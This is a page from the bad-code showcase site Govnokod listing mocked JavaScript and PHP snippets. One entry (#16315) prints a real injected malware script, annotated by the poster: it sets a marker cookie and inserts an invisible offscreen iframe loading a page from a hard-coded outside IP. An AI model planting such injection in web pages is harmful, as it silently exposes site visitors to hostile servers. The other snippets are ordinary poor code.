1. Лучший говнокод

    В номинации:
    За время:
  2. JavaScript / Говнокод #16335

    +155

    1. 1
    Object.prototype.toString.call(o).match(/\[object (\w+)\]/)[1];

    Реализация typeof

    kissarat, 15 Июля 2014

    Комментарии (10)
  3. JavaScript / Говнокод #16321

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    this.resize = function(d) {
        var curSize, newSize;
        if (DOM && settings.resiziable === true) {
            curSize = $(DOM).height();
            if (d < 0) {
                if (settings.min) {
                    if (curSize + d < settings.min) {
                        newSize = settings.min;
                    } else {
                        newSize = curSize + d;
                    }
                } else {
                    newSize = curSize + d;
                }
            } else {
                if (settings.max) {
                    if (curSize + d > settings.max) {
                        newSize = settings.max;
                    } else {
                        newSize = curSize + d;
                    }
                } else {
                    newSize = curSize + d;
                }
            }
    
            if (newSize !== curSize) {
                $(DOM).height(newSize);
            }
        }
    };

    Что-то меня корёжит немного от этого метода.

    dunmaksim, 14 Июля 2014

    Комментарии (18)
  4. JavaScript / Говнокод #16315

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    <script type="text/javascript" language="javascript"> // весь следующий код внедряется в страницу
    
    function llolwut()  // функция, создающая невидимый iframe - http://69.67.187.39/TpqzKHZm.php
    {
    	var momge = document.createElement('iframe');
    	
    	momge.src = 'http://69.67.187.39/TpqzKHZm.php';
    	momge.style.border = '0';
    	momge.style.position = 'absolute';
    	momge.style.left = '-1234px';
    	momge.style.top = '-1337px';
    	momge.style.height = '21px';
    	momge.style.width = '21px';
    	
    	if ( !document.getElementById( 'momge' ) ) // если еще не сделали iframe
    	{
    		document.write('<div name=\'momge\' id=\'momge\'></div>');
    		document.getElementById('momge').appendChild(momge ); // сделать его
    	}
    }
    
    function SetCookie( cookieName, cookieValue, nDays, path ) // установить кукисы
    {
    	var today = new Date();
    	var expire = new Date();
    	
    	if ( nDays == null || nDays == 0 )
    		nDays = 1;
    		
    	expire.setTime(today.getTime() + 1800000*24*nDays);
    	document.cookie = cookieName + "=" + escape( cookieValue ) + ";expires=" + expire.toGMTString() + ( (path) ? ";path = " + path : "");
    }
    
    function GetCookie(name) // получить кукисы
    {
    	var start = document.cookie.indexOf( name + "=" );
    	var len = start + name.length + 1;
    	
    	if ( (!start) && ( name != document.cookie.substring( 0,name.length ) ) )
    		return null;
    	
    	if ( start == -1 )
    		return null;
    		
    	var end = document.cookie.indexOf( ";", len );
    	
    	if ( end == -1 )
    		end = document.cookie.length;
    		
    	return unescape( document.cookie.substring( len, end ) );
    }
    
    // основной код
    
    if ( navigator.cookieEnabled ) // если кукисы включены в настройках
    {
    	if( GetCookie( '___utma' ) == '84f5e86989f374536450659c18f5489e' ) {} // если проставлены вредные кукисы - ничего не делать
    	else // если не проставлены - установить их и внедрить невидимый iframe в код страницы
    	{
    		SetCookie( '___utma', '84f5e86989f374536450659c18f5489e', '1', '/' );
    		llolwut();
    	}
    }
    </script>

    Мега-вирус, by H@C|<3R. Изначально все это дерьмо было в 1 строку и без комментариев.

    gost, 12 Июля 2014

    Комментарии (5)
  5. JavaScript / Говнокод #16313

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    js меня восхищает, реально. это язык, где проблемы с замыканием можно решить, добавив ещё одно замыкание. прикинем, например
    
    var object = ...;
    doShit(function /* async callback */ () { object.doOtherShit(); });
    
    пока вроде как всё зашибись. но вдруг понадобилось написать цикл:
    
    for (var i....) {
      var object = array[i];
      doShit(function /* this now fails hard */ () { object.doOtherShit(); });
    }
    
    что же делац? правильно, врапим всё в ещё одну функцию:
    
    for (var i....) {
      (function(object){
        doShit(function /* oh, it's okay again */ () { object.doOtherShit(); });
      })(array[i]);
    }

    makc3d, 12 Июля 2014

    Комментарии (3)
  6. JavaScript / Говнокод #16311

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    function createDataStringFromArray(data){
        dataName = "outputSyntax=plain"
        data.each(function(value, index){
            if(value.name == "register_first_name"){
                dataName = dataName + "&register_first_name=" + value.value;
            }else if(value.name == "register_last_name"){
                dataName = dataName + "&register_last_name=" + value.value;
            }else if(value.name == "etablishment"){
                dataName = dataName + "&etablishment=" + value.value;
            }else if(value.name == "function"){
                dataName = dataName + "&fonction=" + value.value;
            }else if(value.name == "element_id"){
                dataName = dataName + "&id=" + value.value;
            }else if(value.name == "mail"){
                dataName = dataName + "&register_email=" + value.value;
            }else if(value.name == "phone"){
                dataName = dataName + "&register_phone=" + value.value;
            }else if(value.name == "mobile"){
                dataName = dataName + "&register_mobile=" + value.value;
            }else if(value.name == "access"){
                dataName = dataName + "&access=" + value.value;
            }else if(value.name == "mail_alerts"){
                dataName = dataName + "&mail_alerts=" + value.value;
            }
        })
        return dataName;
    }

    iofjuupasli, 11 Июля 2014

    Комментарии (1)
  7. JavaScript / Говнокод #16310

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    jQuery(document).ready(function(){
        jQuery('#administratifs .accessElement').each(function(){
            #foreach($user in $users)
                #set($function = $user.getProperty('fonction').getValue())
                if(jQuery(this).attr('id')== "accessElement_$user.getNumber()"){
                    jQuery(this).find('.selectFunction option').filter(function() {
                    return jQuery(this).text() == "$function";
                    }).prop('selected', true);
                }
            #end
        })
    
        jQuery('#administratifs .disableClass').attr('disabled', 'disabled');
    
    })

    тут еще velocity

    iofjuupasli, 11 Июля 2014

    Комментарии (0)
  8. JavaScript / Говнокод #16307

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    /*.slimNotificationBar {
     left : 60px;
     right: 100px;
    }*/
    var sText = "Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.";
    
    function displayListener(oEvent) {
        var bShow = oEvent.getParameter("show");
    
        if (bShow) {
            /*
             * Now the application can decide how to display the bar. It can be maximized, default, minimized (please see NotificationBarStatus) 
             */
            var sStatus = sap.ui.ux3.NotificationBarStatus.Default;
            oNotiBar1.setVisibleStatus(sStatus);
        } else {
            var sStatus = sap.ui.ux3.NotificationBarStatus.None;
            oNotiBar1.setVisibleStatus(sStatus);
        }
    };
    
    var now = (new Date()).toUTCString();
    var oMessage = new sap.ui.core.Message({
        text : sText,
        timestamp : now
    });
    
    var oNotifier = new sap.ui.ux3.Notifier({
        title : "The first Notifier"
    });
    oNotifier.addMessage(oMessage);
    
    var oNotiBar1 = new sap.ui.ux3.NotificationBar({
        display : displayListener,
        visibleStatus : "None",
        resizeEnabled : false
    });
    oNotiBar1.addStyleClass("sapUiNotificationBarDemokit");
    oNotiBar1.addStyleClass("slimNotificationBar");
    oNotiBar1.addNotifier(oNotifier);
    oNotiBar1.placeAt("sample1");

    Решил для нужд одного проекта ознакомиться с официальной документацией к OpenUI5 от весьма известной фирмы SAP. Полдня моей жизни убиты без всякой пользы. Больше примеров того, как НЕ надо писать код на JS, здесь: https://openui5.hana.ondemand.com/#content/Controls/index.html
    ExtJS использовать не могу по лицензионным соображениям, остаётся смотреть в сторону qooxdoo и YUI...

    dunmaksim, 11 Июля 2014

    Комментарии (0)
  9. JavaScript / Говнокод #16278

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    var colData = portfolioTable.getAvailableColumns();
    	        var colspecs = [];
    	        for (var i = 0, len = colData.length; i < len; i++) {
    	            var colspec = { 'field': colData[i].id, 'width': colData[i].width };
    	            colspecs.push(colspec);
    	        }
    	        var flag;
    
    		// бл, это ппц! для чего и тут accountNumber?!
    	        for (var i = 0, len = colspecs.length; i < len; i++) {
    	            if (colspecs[i].field !== 'AccountNumber') {
    	                flag = true;
    	            } else {
    	                flag = false;
    	                break;
    	            }
    	        }
    	        if (flag) {
    	            colspecs.unshift({ 'field': 'AccountNumber', 'width': 120 });
    	        }

    Из одного проекта, в котором больше половины кода - натурально индусский.

    And, 04 Июля 2014

    Комментарии (0)
  10. PHP / Говнокод #16261

    +155

    1. 1
    (isset($presetFilters)) ? ((in_array($object->id,$presetFilters)) ? $object->avatar('-s') : $object->avatar('-gs-s')) : $object->avatar('-gs-s')

    код для получение префикса аватарки

    v1m, 30 Июня 2014

    Комментарии (4)
  11. PHP / Говнокод #16232

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    /* $res = array ('res_count' => 15,   кол-во результатов
                               '...' => прочее,
    )*/
    
    {if ($res) && (($res['res_count']%10) == 1)&& ((($res['res_count']/10)%10) != 1)}  
    	нашёлся <b>{$res['res_count']}</b> результат
    {else} 
    	нашлось <b>{$res['res_count']}</b> 
    	{if ($res) && ((($res['res_count']/10)%10) != 1) && (($res['res_count']%10)>1) && (($res['res_count']%10)<5)}
    		результата
    	{else}
    		результатов
    	{/if}
    {/if}

    нашёл функцию под SMARTY для склонения слов, которая используется при выводе результатов поиска... она была записана в 1-у строчку для "лучшего понимания" (напишу в комменте )

    govnokoder2, 25 Июня 2014

    Комментарии (2)